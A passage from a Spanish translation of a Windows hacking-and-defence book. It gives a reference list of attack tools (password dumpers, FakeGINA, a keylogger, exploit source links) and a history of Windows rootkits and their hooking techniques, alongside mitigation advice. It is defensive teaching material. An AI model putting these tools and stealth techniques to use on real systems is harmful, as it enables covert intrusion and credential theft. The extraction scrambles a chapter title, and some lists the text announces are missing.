la contraseña o el hash. Esto es importante, sobre todo en entornos de Terminal Services, y acen-
túa aún más la importancia de cerrar una sesión después de terminarla.
No existe ninguna contramedida ante este ataque, porque es parte de la funcionalidad inte-
grada de Single-SignOn.
RESUMEN
La expansión de la influencia una vez que se ha obtenido acceso en el nivel administrativo o de
SISTEMA en un entorno Windows puede ser un ejercicio trivial, aunque con las nuevas versiones
del sistema operativo, este ejercicio se vuelve más difícil. Sin embargo, puede hacer mucho para
mitigar el riesgo y administrar la situación aún después de que ha ocurrido un compromiso.
Siempre debe habilitarse la auditoría y monitorearse en busca de cambios. Las contraseñas
deben ser difíciles de adivinar y siempre deben incluir un carácter alt-255, porque muchos de
estos hackers no pueden leer el carácter específico no imprimible que usa. Los atacantes pueden
obtener fácilmente control de línea de comandos de un sistema o también un control de GUI.
Existen varias herramientas para lograr ambos tipos de control.
Una práctica común entre atacantes es revisar toda su unidad de disco en busca de archivos
con información confidencial en ellos. Palabras como contraseña y nómina suelen usarse en el fil-
tro. También puede usarse el registro de tecleos, para capturar todos los tecleos de un equipo,
incluso el nombre de usuario y la contraseña.
El salto entre islas es un fenómeno particularmente peligroso, en que el atacante establece un
punto de avanzada en el sistema, revisando las partes ocultas si lo desea, encontrando sistemas
adicionales para posible compromiso.
Por último, el redireccionamiento de puertos permite a un atacante omitir fácilmente las re-
glas de la firewall una vez que se ha hackeado el host inicial tras la firewall.
Referencia Ubicación
Soporte a volcado de historial para www.cqure.net/wp/?page_id=9
pwdump2 y pwdump3
Herramientas de creación de www.blackops.cn
secuencias de comandos de www.toolcrypt.org/index.html?hew
depuración y otras herramientas
mencionadas en el texto
MDCrack http://members.lycos.fr/mdcrack
Diccionarios y listas de palabras del ftp://coast.cs.purdue.edu/pub/dict
archivo COAST de la Universidad
de Purdue
lsadump2 www.bindview.com/Services/RAZOR/Utilities/
Windows/lsadump2_readme.cfm
FakeGINA de Arne Vidstrom http://ntsecurity.nu/toolbox/fakegina/
Cain & Abel www.oxid.it
Snort, un olfateador de paquete www.snort.org
gratuito y una herramienta de
detección de intrusiones
Dsniff, versión para UNIX http://monkey.org/~dugsong/dsniff/
Wireshark www.wireshark.org/
SSHD gratuito para Windows http://sshwindows.sourceforge.net/
NT/2000
puTTY, un cliente SH gratuito www.chiark.greenend.org.uk/~sgtatham/putty/
rinetd www.boutell.com/rinetd/index.html
fpipe de Foundstone, Inc. www.foundstone.com/us/resources-free-tools.asp
Herramientas comerciales
Kits de recursos de Windows, www.microsoft.com/windowsserver2003/techinfo/
versión en línea de los libros reskit/resourcekit.mspx
impresos, herramientas y referen-
cias
WinRoute Professional por Kerio www.kerio.com
Invisible Keylogger Stealth (IKS) www.amecisco.com/iksnt.htm
para NT
Servidor VShell y cliente Secure- www.vandyke.com/products
CRT de VanDyke Technologies
Secure Shell para Windows, de SSH www.ssh.com/products/ssh
Communications Security, servidor
y cliente
Sniffer Propietario www.networkgeneral.com
Referencias Ubicación
Referencias generales
“Modifying Windows NT Logon www.coresecurity.com/index.php5?module=Content
Credential”, por Hernán Ochoa, Mod&action=item&id=1030
analiza el paso de hash y el kit de OSS.coresecurity.com/projects/pshtoolkit.htm
herramientas correspondiente
Modificación de lsadump2 para tra- http://archives.neohapsis.com/archives/fulldisclosu-
bajar en máquinas DEP re/2005-09/0461.html
Información acerca de descubri- http://en.wikipedia.org/wiki/RainbowCrack
miento con arco iris
Información relacionada con con- www.securiteam.com/tools/5JP0I2KFPA.html
traseñas de dominio en caché:
“CacheDump – Recovering
Windows Password Cache Entries”
Artículos de la base de datos de http://support.microsoft.com/kb/172931/
conocimiento relacionados con http://support.microsoft.com/kb/911605/
CachedLogonsCount: “Información
de dominio almacenado en caché
de inicio de sesión” y “El valor
predeterminado de la entrada de
Registro cachedlogonscount ha
cambiado con respecto a 10 en 25
en Windows Server 2008”
“Frequently Asked Questions www.microsoft.com/technet/community/columns/
About Passwords” secmgmt/sm1005.mspx
“Security Watch” relacionado con www.microsoft.com/technet/technetmag/isues
la configuración LMCompatibili- /2006/08/SecurityWatch/
tyLevel
“Using Credential Management in http://msdn2.microsoft.com/en-us/library/aa302353.
Windows XP and Windows Server aspx
2003”, por Duncan Mackenzie, red
de desarrolladores de Microsoft,
enero de 2003
“Windows Data Protection”, por http://msdn2.microsoft.com/en-us/library/
NAI Labs, Network Associates, ms995355.aspx
Inc., octubre de 2001
Fuentes relacionadas con WMI http://www.microsoft.com/whdc/system/pnppwr/
wmi/WMI-intro.mspx
http://en.wikipedia.org/wiki/Windows_Manage-
ment_Instrumentation’
www.microsoft.com/whdc/system/pnppur/wmi/
default.mspx
Análisis detallado de DebPloit en www.everything2.com/?node=debploit
Everything2
Referencia Ubicación
Explotación de GDI en el archivo http://projects.info-pull.com/mokb/MOKB-06-11-
de errores Month of Kernel 2006.html
Debploit por EliCZ www.anticracking.sk/EliCZ/bugs/DebPloit.zip
Código fuente de explotación de www.xfocus.net/articles/200306/545.html
kernel de Windows por eyas
Encuesta anual conjunta de CSI www.gocsi.com
y FBI de estadísticas de delitos
computacionales, en la que se
muestra que la mayoría de éstos
aún es perpetrado por personas
del interior de la empresa
Información acerca de funciones de http://msdn.microsoft.com/workshop/networking/
URLMON moniker/reference/functions/urldownloadtofile.asp
Publicación original de Paul Ashton www.securityfocus.com/bid/233/discuss
e información acerca de la
modificación de clientes SMB
Avisos relevantes
Aviso de seguridad sobre www.securityfocus.com/advisories/2472
vulnerabilidad de la
personificación de canalización
con nombre de SCM
@@stake Security Advisory www.securityfocus.com/bid/2341
onNetDDE Message Vulnerability
Boletines de seguridad de
Microsoft, service pack y
correcciones activas
MS00-053, “Service Control www.microsoft.com/technet/security/bulletin/
Manager Named Pipe MS00-053.asp
Impersonation” Vulnerability
MS01-007, “Network DDE Agent www.microsoft.com/technet/security/bulletin/
Requests Can Enable Code to Run MS01-007.asp
in System Context”
MS02-024, “Authentication Flaw in www.microsoft.com/technet/security/bulletin/
Windows Debugger Can Lead to MS02-024.asp
Elevated Privileges (Q320206)”
MS03-013, “Buffer Overrun in www.microsoft.com/technet/security/bulletin/
Windows Kernel Message MS03-013.asp
Handling Could Lead to Elevated
Privileges (811493)”
capítulo 8
PA S A R
CÓ M O O
V E RT I D
IN A D E R
A N T E N
Y M I A
E N C
PRES
225
E
n este capítulo se analizan algunas herramientas y técnicas que utilizan los hackers malicio-
sos para pasar inadvertidos y mantener su presencia en sistemas comprometidos para que
los administradores de sistemas no noten sus acciones. Desde la publicación de la versión
anterior de este libro, no sólo han madurado las técnicas usadas para alcanzar el sigilo, sino que
además las motivaciones de los hackers maliciosos han cambiado, y el nivel de sofisticación nece-
sario para competir en el juego del “gato y el ratón” ha aumentado de manera importante para
atacantes y defensores. Si está leyendo este capítulo, probablemente ya ha oído hablar de los root-
kits, término que alude a una amplia variedad de software para pasar oculta la presencia.
En este capítulo se cubre la evolución de los rootkits de Windows y su importancia para lo-
grar el sigilo, pero también se va más allá del análisis de los rootkits al enumerar técnicas que el
autor y sus colegas han encontrado personalmente durante sus investigaciones en casos reales
de hackeo. En estos casos, los hackers maliciosos han logrado el sigilo utilizando diversas técni-
cas menos conocidas para ocultarse sin recurrir al uso de tecnología sofisticada de rootkits.
propias copias de caballo de Troya personalizadas de comandos populares y UNIX como ls.
Pero ¿qué pasaba si el administrador ejecutaba el comando ps para presentar una lista de todos
los procesos que se ejecutaban y observaba el proceso de puerta trasera del atacante? Muchos
rootkits de esas primeras épocas también incluían una copia modificada del binario ps diseñada
para no mostrar una lista de los procesos de puerta trasera del hacker malicioso.
Con el tiempo, los administradores generalmente fueron tomando conciencia de esta técnica
mediante las alertas y advertencias de instituciones como CERT y empezaron a usar copias “bue-
nas conocidas” de comandos de sistema populares como ls y ps (tal vez de medios de sólo lec-
tura como un disco flexible o un CD) cuando investigaban un sistema. También mantenían bases
de datos de sumas de verificación y hashes criptográficos de archivos clave de sistema para de-
terminar si los binario del sistema operativo eran legítimos o estaban modificados, y de manera
rutinaria iniciaban la revisión de las sumas, o hashes, o los archivos clave del sistema. Para con-
trarrestar esto, los hackers maliciosos tenían que hacer que su conjunto de habilidades evolucio-
nara, y eso significó llevar su código más adentro del sistema operativo (es decir, al kernel).
Con el tiempo, a finales de la década de 1990, los hackers y varios investigadores de seguri-
dad empezaron a revisar el uso de los módulos de kernel que, una vez cargados, podrían modi-
ficar la API clave del kernel y las estructuras de datos, de modo que no importaba si los
administradores estaban usando copias buenas conocidas de utilerías clave del sistema operati-
vo, porque esas utilerías aún dependían de información emitida desde las API del kernel y si el
atacante podría controlar esas API, podría controlar la vista del sistema operativo del usuario
(tal como se ve mediante utilerías como ls y ps). Y por tanto, había nacido una carrera arma-
mentista, que aún se está jugando hasta el día de hoy en una amplia variedad de sistemas ope-
rativos como Windows y Linux.
Rootkits de Windows
¿Pero qué puede ocultarse a un administrador con un rootkit de Windows? La respuesta rápida
es cualquier cosa y todo. Si usted es un administrador y ha instalado un rootkit bien conocido en
su máquina, sólo verá lo que éste le permite ver con las herramientas normales del sistema. Los
siguientes elementos suelen ocultarse utilizando rootkits de Windows.
Es importante tomar nota de que no todos los rootkits ocultan todos estos objetos. Cuanto
más elige ocultar un hacker malicioso, más complejo y sofisticado tiene que ser el código. Algu-
nos rootkits son muy pequeños y están diseñados para ocultar sólo ciertos elementos (por ejem-
plo, el rootkit FU original, analizado con más detalle en páginas posteriores, sólo oculta los
procesos en ejecución, pero los archivos de copia de seguridad de sus procesos siguen visibles
en el disco). Compare esto con el rootkit Hacker Defender para Windows, que puede ocultar casi
todos los elementos anteriores.
Algunos rootkits proporcionan servicios adicionales a los hackers maliciosos que los insta-
lan. Por ejemplo, algunos rootkits proporcionan una puerta trasera integrada que puede conec-
tarse remotamente (como Hacker Defender y YYT_HAC), mientras otros luchan por dar el paso
extra para el hacker al proporcionar la capacidad de ajustar la lista de archivos, carpetas y pro-
cesos ocultos; realizar ataques de DoS; buscar archivos remotos; mentir sobre la cantidad de es-
pacio libre en un volumen; y reiniciar el sistema. Por ejemplo, Hacker Defender puede modificar
la vista del usuario del espacio disponible en disco (esta característica a menudo ha sido usada
por los hackers para establecer servidores de warez).
Es difícil detectar exactamente cuándo usaron los hackers maliciosos por primera vez los
rootkits para comprometer una máquina de Windows (después de todo, el objetivo de un rootkit
es permitir a los hackers maliciosos pasar inadvertidos la mayor cantidad de tiempo posible),
pero suele aceptarse que uno de los primeros individuos que confió en la tecnología de rootkits
para Windows bajo la luz pública fue Greg Hoglund, cuando publicó una descripción (y defini-
ción) de un rootkit basado en NT para la revista en línea Phrack en el otoño de 1999 (consulte
“Referencias y lecturas adicionales”). Esta publicación no sólo trató de descubrir y afinar aún
más la definición de un rootkit para Windows, sino que también describió un simple parche de
4 bits que podía hacer que el kernel de Windows NT deshabilitara todos los accesos y las revi-
siones de seguridad permitiendo que usuarios no privilegiados accedieran a objetos privilegia-
dos. A partir de entonces, Hoglund pasó a crear lo que generalmente se considera uno de los
primeros rootkits en modo de kernel verdaderos de Windows NT (NTRootkit) y registrar el do-
minio rootkit.com, en marzo de 1999; y ayudó a crear una comunidad creciente y activa en línea
de personas dedicadas a trabajar aún más en el área de lograr el sigilo y pasar inadvertidos. Tam-
bién empezó a dar clases tituladas “Aspectos de la tecnología ofensiva de los rootkits”, que en-
señaba a estudiantes cómo desarrollar sus propios rootkits en modo de kernel (con base en su
propio código fuente de NTRootkit) en varias conferencias de seguridad en Blackhat, en febrero
de 2003, en Seattle.
Uno de los primeros casos de hackeo en que este autor participó y en el que se usaron root-
kits terminó siendo reportado por los medios a principios de 2003 (consulte “Referencias y lec-
turas adicionales”). Un cliente había llamado a Microsoft cuando de pronto uno de sus
servidores SQL empezó a fallar de manera muy regular. El ingeniero de escalada en Microsoft
que depuró los volcados de las caídas se quedó sorprendido por lo que encontró al final. De al-
guna manera el controlador de dispositivo responsable de la falla no se encontraba por ningún
lado del sistema (porque estaba usando su técnica de sigilo para ocultarse) y no pudimos dar
seguimiento al responsable del controlador en la compañía al buscar en Web (pudimos obtener
el nombre del controlador y su contenido de los volcados de la memoria). Al volcar la memoria
en que se había cargado el dispositivo reveló una cadena interesante, SLANRET, que con el tiem-
po los comercializadores de antivirus usaron para denominar a este rootkit.
Sherri Sparks y James Buttler han presentado un estupendo resumen de la evolución de los
rootkits (consúltese “Referencias y lecturas adicionales”), que se dividen en generaciones con
base en sus propiedades y se muestra a continuación:
Los rootkits, al parecer, habían salido oficialmente a la luz pública y los administradores de
sistemas estaban en una fuerte desventaja en el juego del gato y el ratón si sus servidores estaban
comprometidos.
escena en 2002. Fue desarrollado y mejorado hasta una versión oficial 1.0 en enero de 2004, mo-
mento en el cual el autor empezó a recibir pagos por versiones privadas del rootkit. Una copia
de algunas versiones de Hacker Defender (había muchas, muchas versiones) estaría invariable-
mente configurada para ocultar carpetas, procesos y conexiones de red en la máquina víctima.
Las carpetas estaban llenas de software, películas y música con distribución ilegal (a menudo
antes de que la película fuera siquiera liberada en los teatros), y Hacker Defender permitía con-
venientemente al equipo de hackeo mentir al administrador acerca de la cantidad de espacio li-
bre que quedaba en el disco (debido a que con frecuencia por lo general llenaban la unidad con
archivos .RAR e imágenes .ISO de varios programas de software y películas). Los procesos que
se estaban ocultando por lo general eran copias de Serv-U FTP o ioFTPD, que eran muy popula-
res en la época para albergar sitios de warez configurados para ejecutarse como la cuenta SYS-
TEM. Las secuencias de comandos de instalación automatizada (por lo general simples archivos
de programación por lotes) que automatizarían la instalación de puertas traseras, los servidores
FTP y el rootkit solían ejecutarse en el contexto de la cuenta todopoderosa SYSTEM. La explota-
ción inicial tomaba como objetivo una vulnerabilidad en un componente de sistema operativo
que se ejecutaba como SYSTEM, como MS03-026, de modo que el villano no tendría problemas
para ocultar su malware en la carpeta System Volume Information (una carpeta de sistema esen-
cial oculta de la raíz de la unidad C: en instalaciones predeterminadas de Windows). Esta carpe-
ta está configurada como opción predeterminada, de modo que sólo la cuenta SYSTEM tiene
acceso a ella. Además de colocar su malware en una carpeta difícil de alcanzar (muchos admi-
nistradores tal vez no sabían cómo obtener acceso a esta carpeta), los atacantes por lo general
colocaban su malware en una estructura de directorio que usaba nombres reservados como
NULL, COM1 y AUX, que no cualquiera se atrevería a eliminar. En realidad, esto se volvió tan
común que los ingenieros de soporte de Microsoft escribieron numerosos artículos de la base de
conocimientos para explicar a los clientes cómo limpiar carpetas con estos nombres reservados.
Con el tiempo, empezamos a observar un cambio en los tipos de casos que encontrábamos. Aún
teníamos los casos de hackeo en que participaban universidades y varios equipos de warez
(COREiSO, etc.) pero de vez en cuando teníamos casos de instituciones privadas, donde aparen-
temente se estaba usando malware personalizado. En otras palabras, encontramos rootkits que
no eran muy bien conocidos ni comunes en esos servidores, y el objetivo del malware era defi-
nitivamente proporcionar acceso encubierto sin ser detectado. Lo interesante de la manera en
que esos clientes solían darse cuenta de que algo serio estaba pasando con sus servidores solía
ser la misma que la de los otros clientes de años anteriores: empezarían a experimentar proble-
mas de estabilidad con sus sistemas operativos (pantallas azules) que necesitaban depurarse o
los administradores de red detectaban flujos sospechosos a direcciones IP con las que los servi-
dores en cuestión no deberían estar hablando.
En relación con las pantallas azules, resulta que la manera en que la mayor parte de los
rootkits operan en el kernel los hace susceptibles de diversos errores que pueden desestabilizar
el sistema operativo y causar que falle en situaciones en que el servidor tiene varios CPU o se
encuentra bajo carga pesada, o ambas. Con frecuencia, el código que puede funcionar bien en
la estación de trabajo de un solo procesador del desarrollador no funciona tan bien cuando
se carga en un servidor de varios procesadores que se encuentran bajo carga pesada. Los tipos
de servidores y los de instituciones que se tomaban como objetivos indicaban un desplazamien-
to: los atacantes ahora ya no estaban interesados en simplemente intercambiar películas, música
y software pirata; estaban cada vez más tras los datos y no querían que se les notara.
Lo interesante, como en muchos de los rootkits en modo de kernel, éste era inestable y causaría
que varias máquinas fallaran (pantallas azules) de manera intermitente, que es la manera en que
la gente (incluido Microsoft) empezó a tomar conciencia de la existencia de los rootkits. En 2005,
David Aucsmith dio una presentación en WinHEC (Windows, Hardware Engineering Conferen-
ce), donde mostró algunas estadísticas alarmantes acerca del número de fallas de pantalla azul que
estaba causando este rootkit (más de 140 000 en diciembre de 2004). En mayo de 2005, la Malicious
Software Removal Tool (MSRT) de Microsoft había agregado esta familia de rootkit y adware a la
lista de malware que limpia cada mes para proporcionar alivio a los clientes afectados.
sugerencia Muchos rootkits tienen el concepto de un proceso de root, que es un proceso inmune al filtrado de
rootkit. Un proceso de root puede ver todo los archivos y procesos en una máquina, aun los que están
ocultos. En el caso del rootkit Delprot.sys, el proceso IE (iexplore.exe) era un proceso de root (porque
es necesario para tener la capacidad de encontrar los objetos auxiliares de explorador de la barra de
herramientas iSearchPro), de modo que podía “ver” los archivos en el sistema de archivos. Para
eliminar este malware del sistema, todo lo que necesitaba era usar IE para explorar el sistema de
archivos (en lugar de Explorer.exe) para cambiar el nombre de los archivos, eliminarlos, o ambos.
En 2005, en la conferencia Blackhat de Las Vegas, se analizó y demostró una técnica adicional
para pasar inadvertido o desapercibido. El método se implementó en un rootkit de concepto de-
nominado Shadow Walker, cuyos autores eran Sherri Sparks y James Buttler. En esta presentación,
los autores establecieron que la mayor parte del código del rootkit y los parches de memoria eran
detectables con rastreos de memoria virtual basados en firma que sabían dónde buscar, y propu-
sieron una solución a este problema en la forma de Shadow Walker. Los autores se dieron cuenta
de que al explorar la memoria virtual, era más bien fácil identificar ubicaciones que habían sido
parchadas o que tenían ganchos. En Blackhat, propusieron una solución, de acuerdo con la cual
¡después de instalar su propio controlador de falla de página, podían regresar diferentes direccio-
nes de memoria virtual para el mismo marco físico de memoria, si se trataba de leer la memoria o
de ejecutarla! Como resultado, la técnica puede usarse para ocultar modificaciones de código he-
chas por malware de herramientas de detección basadas en rastreos de memoria virtual.
También en 2005, se puso otra piedra angular para pasar inadvertido en sistemas operativos
de Windows NT, cuando los investigadores de eEye demostraron un rootkit en Blackhat llama-
do Bootroot. Era capaz de cargarse desde el registro maestro de arranque (MBR, Master Boot
Record) de un disco flexible, un CD o un disco duro y persistir todo el tiempo del proceso de
inicio de Windows. Imagine que es capaz de caminar a una máquina de Windows NT, inserta un
CD en la unidad de CD-ROM, oprime el botón de encendido para reiniciar la computadora y en
cuanto el BIOS intenta arrancar desde el CD (al leer el MBR de éste), el daño está hecho y el sis-
tema operativo tiene ahora un rootkit instalado para el momento en que oprima ctrl+alt+supr
para iniciar la sesión. Otros investigadores refinaron aún más esta técnica a finales de 2006 y
principios de 2007 e hicieron que funcionara en versiones previas a la liberación de sistema ope-
rativo Windows Vista de 32 bits mediante el rootkit Bootroot.
sugerencia Al momento de escribir esto, podría mitigarse el uso de Bootroot al emplear BitLocker Drive
Encryption (BDE), en Windows Vista. BDE verifica la integridad de los archivos y las estructuras de
datos clave que se requieren durante el proceso de arranque de Windows y aborta el proceso si se
sospecha que ha sido modificado. Sin embargo, debemos tener en cuenta que BDE fue diseñado
para mitigar la amenaza del robo de datos o el develamiento de información de sistemas robados o
perdidos al prevenir el acceso a datos desde un sistema operativo alterno. Por tanto, no debe
concluirse que BDE tenía la intención de atender todos los escenarios de rootkit de Windows.
El año 2005 fue muy explosivo para los rootkits, tanto en términos de crecimiento como de
sofisticación, y podía considerarse que, a finales de ese año, el término rootkit ya era del dominio
público por primera vez después de que se descubrió y fue ampliamente reportado por varios
medios que Sony BMG estaba distribuyendo un rootkit desarrollado por una compañía llamada
First 4 Internet Ltd. en algunos de sus CD de audio para imponer una forma de administración
de derechos digitales (DRM, Digital Rights Management). El rootkit fue descubierto por Mark
Russinovich después de que desarrolló una herramienta de detección de rootkits llamada Root-
kit Revealer. Al final, Sony retiró los CD del canal de ventas al menudeo y el rootkit de Sony se
agregó a la lista de rootkits que podían eliminarse con MSRT.
El año 2006 vio un aumento en los ataques de falsificación de personalidad (phishing) que
tenían como objetivo todo tipo de instituciones, con el objetivo de engañar a los usuarios para
que escribieran su información personal en sitios Web falsos configurados para tener el mismo
aspecto de las instituciones financieras legítimas. Algunos de los ataques fueron incluso más allá
que engañar a los usuarios para revelar su información financiera y trataba de convencer a la
gente de que instalara una nueva clase de software malicioso conocido como caballos de Troya
bancarios, muchos de los cuales ahora estaban usando técnicas de sigilo para dificultar aún más
la detección y la eliminación.
En 2006, la notable investigadora de seguridad Joanna Rutkowska presentó en varias confe-
rencias de seguridad un rootkit de prueba de concepto denominado Blue Pill que hacía uso de
extensiones de virtualización de hardware encontradas en las CPU AMD modernas. Este root-
kit, en esencia, actuaba como un hipervisor, o una pieza de software que se situaba debajo del
sistema operativo, permitiendo a un atacante tratar efectivamente el sistema operativo instalado
como una máquina virtual que podía manipularse por medio del rootkits en un nivel inferior del
que normalmente estaba permitido en una CPU que no soportaba virtualización de hardware.
sugerencia Al momento de escribir esto, la mayor parte de los fabricantes de BIOS de sistema permitían que las
extensiones de virtualización se habilitaran o deshabilitaran en el BIOS si la CPU soporta esa
característica. Si no es necesario el soporte a virtualización para ejecutar las máquinas virtuales en
un producto como Virtual PC o VMWare, debe deshabilitarse en el BIOS.
Además en 2006 se encontró un nuevo y poderoso rootkit que obtuvo alguna atención de los
medios. Symantec declaró que había encontrado un nuevo rootkit avanzado denominado Rus-
tock, que era indetectable por todas las demás herramientas de detección de rootkits que estaban
disponibles en el momento, haciendo la detección y eliminación casi imposible para todos excep-
to los más avanzados usuarios. Variantes de Rustock tenían como objetivo algunas de las herra-
mientas de detección de rootkits más populares (Blacklight, Rootkit Revealer, IceSword y GMER).
Pero algunas de esas herramientas de detección estaban siendo actualizadas de manera activa
con capacidades de detección para nuevas variantes de Rustock y otros rootkits. Por ejemplo,
GMER y Blacklight podían detectar muchas variantes de Rustock. GMER evidentemente tam-
bién era una de las pocas herramientas que podían emplear un método basado en revisión cruza-
da para rastrear flujos de datos alternos (resultó que muchos detectores de rootkits no examinan
bien el contenido de ADS). Los creadores de Rustock, al parecer, estaban monitoreando herra-
mientas antirrootkits capaces de detectarlo y a los investigadores de seguridad que hablaban de
él, y tomaban medidas para evitar que esas herramientas se usaran, al lanzar ataques distribuidos
de negación de servicio (DDoS, Distributed Denial of Service) contra los sitios en que se publica-
ba la información sobre Rustock y donde podía descargarse GMER (¡posiblemente utilizan-
do máquinas infectadas con el rootkit Rustock!). De acuerdo con el blog de John E. Stewart, este
rootkit se está usando para ocultar y proteger arranques para distribución de correo basura que
están generando dinero mediante estafas como las relacionadas con acciones, de modo que es
probable que los autores de Rustock estén simplemente tratando de proteger su flujo de ingresos.
Esto tal vez también explique en parte el aumento en ese tipo correo observado en 2006 y 2007.
A pesar de lo avanzado de Rustock, nuevos rootkits como Unreal.A ya han aparecido en es-
cena; sus autores aseguran que usan técnicas más avanzadas que Rustock para pasar inadverti-
dos. Aún está por verse el impacto y sus técnicas. Lo interesante es que los autores de este rootkit
de demostración también producen una herramienta para detectar a éste y otros rootkits deno-
minado Rootkit Unhooker. El rootkit Unreal y la herramienta Rootkit Unhooker pueden obte-
nerse en www.rku.xell.ru/?1=e&a=dl.
sugerencia
Muchos rootkits avanzados en modo de kernel instalan un controlador de dispositivo y pueden
detectarse con sólo habilitar el registro de arranque, que puede habilitarse utilizando msconfig.exe
en toda las versiones de Windows. Ese modo de diagnóstico de Windows requiere un reinicio, pero
crea una lista de todo los controladores que se cargaron, en un archivo llamado ntbtlog.txt en la
carpeta %SYSTEMROOT%. Puede rastrear ntbtlog.txt. y comparar la lista de controladores que se
cargaron con la lista que el sistema operativo en realidad piensa que está cargado, una vez que
se termine el arranque (¡cualquier discrepancia debe investigarse!).
sugerencia Puede tratar de mitigar esos tipos de amenazas. La configuración de una máquina para iniciar sólo
desde la unidad de disco como primer dispositivo de arranque y luego el acceso protegido con
contraseña al BIOS hace mucho por mitigar esos ataques (imagine que un compañero de trabajo
reinicia su máquina en su oficina desde un CD mientras usted está afuera tomando un café). Sin
embargo, hay maneras bien conocidas de evitar las contraseñas de BIOS si puede obtenerse acceso
físico por un periodo largo o si el atacante decide abrir el gabinete. Por fortuna, el equipo de integridad
de sistemas de Microsoft que trabajó en la implementación en Vista de cifrado de volumen completo
(BitLocker Drive Encryption o BDE) anticipó exactamente esos tipos de amenazas. Como resultado, si
configura BDE en una máquina equipada con un módulo TPM 1.2, el BIOS y el sistema operativo
pueden trabajar en conjunto para detectar intentos de modificación con el proceso de arranque, y el
resultado sería que el módulo TPM 1.2 no daría acceso al sistema operativo a la clave maestra de
volumen (VMK, Volume Master Key) usada para descifrar la clave de cifrado de todo el volumen, que
se usa para cifrar el volumen, cuando detecta un intento de interferir con el arranque del sistema
operativo. Consulte “Referencias y lecturas adicionales” para conocer información más detallada acerca
de la manera en que las máquinas equipadas con módulos TPM 1.2, Vista y BDE mitigan ese ataque.
A finales de 2006 y principios de 2007, se reportó una serie de ataques dirigidos (a veces de-
nominados suplantación de identidad dirigida) que incluían documentos malformados de Mi-
crosoft Office. Cuando se abrían, esos documentos daban como resultado que el código elegido
por el atacante se ejecutara en el contexto del usuario que había iniciado la sesión. Si la víctima
había iniciado sesión con derechos administrativos y abría estos documentos de Office mal for-
mados, por lo general instalaría sin saberlo una puerta trasera y un rootkit en el sistema en cuan-
to se abriera el documento. ¿Cuántos usuarios, ya no digamos administradores de tecnología de
la información, sospecharían que abrir una simple hoja de cálculo de Excel, una presentación
de PowerPoint o un documento de Word recibido por correo electrónico llevaría a que todo el
equipo se viera comprometido con software sigiloso sofisticado?
Al momento de escribir esto, Microsoft había lanzado 15 boletines entre marzo de 2006 y
marzo de 2007 que afectaban a productos de Office 2003, muchos de ellos clasificados con una
gravedad importante, y algunos de ellos tenían avisos correspondientes que indicaban que Mi-
crosoft sólo estaba al tanto de que se estaban usando ataques dirigidos limitados que explotaban
algunas vulnerabilidades previamente desconocidas.
sugerencia
Esos ataques resaltan la importancia de otorgar la menor cantidad de privilegios. Gran parte del
malware que participa en estos ataques requiere derechos administrativos. La ejecución como un
usuario estándar habría prevenido muchas de las técnicas usadas por el malware para lograr
persistencia y pasar inadvertido, lo que habría facilitado mucho su detección y limpieza para el
usuario afectado o las primeras personas que responden.
Los datos suelen incluirse en regiones especiales de la memoria a las que suele denominarse
montón, pila o depósito. Los bits de código contienen el código de máquina ejecutable que su CPU
en realidad está procesando para realizar el trabajo.
Todos los rootkits modernos de Windows pasan inadvertidos al modificar los bits en memo-
ria para alterar la manera en que el sistema operativo se comporta o en que se presentan los da-
tos al usuario. Debido a que estos bits caen en una de dos categorías mencionadas, puede
considerarse que los rootkits operan en los bits de datos o en los de código (o posiblemente una
combinación de ambos). Al acto de modificar los bits de códigos o de datos suele denominársele
parchado de memoria.
Windows usa modos de acceso de procesador para implementar una separación entre el kernel
del sistema operativo y las aplicaciones que se ejecutan arriba de éste. A estos dos modos de ope-
ración se les denomina modo de usuario y modo de kernel. A menudo oirá que las personas los de-
nominan anillo 0, que es el privilegio de nivel cero en CPU x86. Ese es el nivel de privilegio de la
CPU utilizado por Windows cuando se está ejecutando en el modo de kernel. Anillo 3 alude al
nivel 3 de privilegios en CPU x86 y, como ha adivinado, es donde se ejecutan las aplicaciones en
modo de usuario como el Bloc de notas, Internet Explorer y su shell. Cuando la CPU está ope-
rando en el nivel de privilegio 0 (modo de kernel), tiene acceso a todos los registradores de pro-
cesos y toda la memoria del sistema. Cuando la CPU está operando en el nivel de privilegio 3
(modo de usuario) permite el acceso a la memoria que se puede emplear desde el modo de usua-
rio. Debido a que el código que está ejecutando “en el kernel” tiene acceso a todos los regis-
tradores de la CPU y toda la memoria del sistema, eso lo hace un objetivo atractivo para los
autores de rootkits, y muchos consideran que los rootkits que operan en el modo de kernel son
los tipos de amenazas más poderosos e insidiosos.
Ahora suponga que quiera presentar una lista de todos los procesos que se ejecutan en Win-
dows. Tal vez usaría el Administrador de tareas para completar esto. El Administrador de tareas
se ejecuta en modo de usuario pero la lista de procesos de ejecución es información rastreada por
el código que se ejecuta en el kernel y que está almacenado en las estructuras de datos de éste.
De modo que para obtener la lista de procesos en ejecución, el Administrador de tareas llama a
una función exportada por NTDLL.DLL llamada NTQuerySystemInformation. Esta función
realiza una transición en el modo de kernel al llamar después de mover el número del servicio
del modo de kernel para llamar a un registrador de CPU. La pequeña función utiliza entonces la
instrucción syscall/sysenter de la CPU (o una INT 2E en procesadores más antiguos que
no aceptan esa instrucción) para realizar la transición en el modo de kernel. En el kernel, una
rutina de despachador del servicio del sistema recibe la llamada y busca la dirección del servicio
de sistema solicitado para llamar desde una estructura de kernel llamada tabla de descriptores de
servicios del sistema (SSDT, System Service Descriptor Table), que contiene descriptores que se
traducen en las direcciones del espacio de memoria del kernel donde pueden encontrarse esas
funciones de modo kernel. Luego se llama a la función apropiada en modo de kernel (en ocasio-
nes la API nativa de Windows), después de ser buscada y decodificada en la SSDT. Ese proce-
so se ilustra en la figura 8-1, que muestra la manera en que una aplicación en modo de usuario
suele acceder a los archivos. En la figura, cada flecha o cuadro representa un lugar para que un
rootkit modifique el flujo de la ejecución y, por tanto, subvierta la ejecución normal de sistema
operativo.
Aplicación
CreateFile()
KERNEL32.DLL
CreateFileW()
NTDLL.DLL
ZwCreateFile()
Modo de usuario
(anillo 3)
Modo Tabla de
de kernel despacho de Tabla de descriptores
(anillo 0) interrupciones de servicio
NtCreateFile
KiSystemService
2E (tal vez vía KiFastCallEntry) (25h)NtCreateFile loCreateFile
lopCreateFile
Ahora, antes de que pueda llamarse a una función como CreateFileW() en KERNEL32.
DLL, como se muestra en la figura 8-1, primero debe importarla una aplicación, lo que significa
que la DLL que contiene la función a la que habrá de llamarse primero debe cargarse en el espa-
cio de direcciones de la aplicación en la memoria virtual y mostrarse en una tabla denominada
tabla de direcciones de importación. Esto representa otra oportunidad para que un rootkit subvierta
